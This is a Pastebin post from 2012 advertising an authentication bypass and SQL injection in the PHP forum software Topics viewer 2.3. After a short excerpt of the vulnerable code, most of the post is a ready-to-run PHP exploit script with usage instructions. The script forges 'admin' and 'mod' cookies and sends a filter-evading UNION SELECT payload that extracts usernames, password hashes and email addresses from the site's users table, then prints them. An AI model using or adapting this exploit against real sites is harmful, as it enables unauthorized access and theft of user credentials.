Advertisement
Guest User

Topics viewer <= 2.3 Authentication Bypass & SQL Injection

a guest
Jun 30th, 2012
548
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.62 KB | None | 0 0
  1. +-------------------------------------------------------------+
  2. | Topics viewer <= 2.3 Authentication Bypass & SQL Injection  |
  3. +-------------------------------------------------------------+
  4.  
  5. author.............: ahwak2000
  6. mail...............: z.u5[at]hotmail[dot]com
  7. software link......: http://nilehoster.com/default/topicsviewer
  8. tested versions....: 2.3
  9. date...............: 30/06/2012
  10. ---------------------------------------------------------------
  11. in file /modcp/rmv_topic_pop.php
  12.  
  13. Line 16.            if (isset($_SESSION['admin']) || isset($_COOKIE['admin']) || isset($_SESSION['mod']) || isset($_COOKIE['mod']))
  14.                 {          
  15. .
  16. .
  17. .
  18. Line 38.        if(isset ($_GET['id']))
  19.  
  20.                 {
  21.                     if (!empty ($_GET['id']))
  22.                         {
  23.                         $sql = "select * from topics where t_id = $_GET[id] LIMIT 1 ;"; //<---
  24.                         $result = @mysql_query ($sql);
  25.                         $topic = @mysql_fetch_array ($result);
  26.                         $verify = @mysql_num_rows ($result);
  27.                
  28. eXploit:
  29. <?
  30. print_r("
  31. ------------------------------------------------------------------
  32. _______          _           __      ___                        
  33. |__   __|        (_)          \ \    / (_)                      
  34.   | | ___  _ __  _  ___ ___   \ \  / / _  _____      _____ _ __
  35.   | |/ _ \| '_ \| |/ __/ __|   \ \/ / | |/ _ \ \ /\ / / _ \ '__|
  36.   | | (_) | |_) | | (__\__ \    \  /  | |  __/\ V  V /  __/ |  
  37.   |_|\___/| .__/|_|\___|___/     \/   |_|\___| \_/\_/ \___|_|V2.3  
  38.           | |                                                  
  39.           |_| BY AHWAK2000
  40. ------------------------------------------------------------------
  41.            ");
  42. if ($argc<2) {
  43. print_r('
  44. -----------------------------------------------------------------------------
  45.                Usage: php '.$argv[0].' site.com/path/
  46. -----------------------------------------------------------------------------
  47. ');
  48.  
  49. }
  50. if ($argc > 1) {
  51. $host=$argv[1];
  52. $ch = curl_init();
  53. curl_setopt($ch, CURLOPT_URL, $host."/modcp/rmv_topic_pop.php?id=-1+/*!union*/+/*!SELeCT*/+1,group_concat(u_name,0x3a,u_mpass,0x3a,u_email),3,4,5,6,7,8,9,10,11,12+/*!frOm*/+users--");
  54. curl_setopt($ch, CURLOPT_COOKIE, "admin=ahwak2000;mod=ahwak2000;");
  55. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
  56. curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  57. $buffer = curl_exec($ch);
  58. if(strpos($buffer,"style.css")){
  59. echo "\n\t[-]---------------------------------------------[-]\n";
  60. $reg  = '#<li .*>.*:(.*?)؟</span></li>#Us';
  61. preg_match($reg,$buffer,$ahwak);
  62. $s1=explode(",",$ahwak[1]);
  63. $i=1;
  64. foreach($s1 as $ayrik){
  65. print "\n\t[$i] ".trim($ayrik)."\n";
  66. $i++;
  67. }
  68.  echo "\n\t[-]---------------------------------------------[-]\n\t\t\tz.u5@hotmail.com";
  69. }
  70.  
  71.  }
  72. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement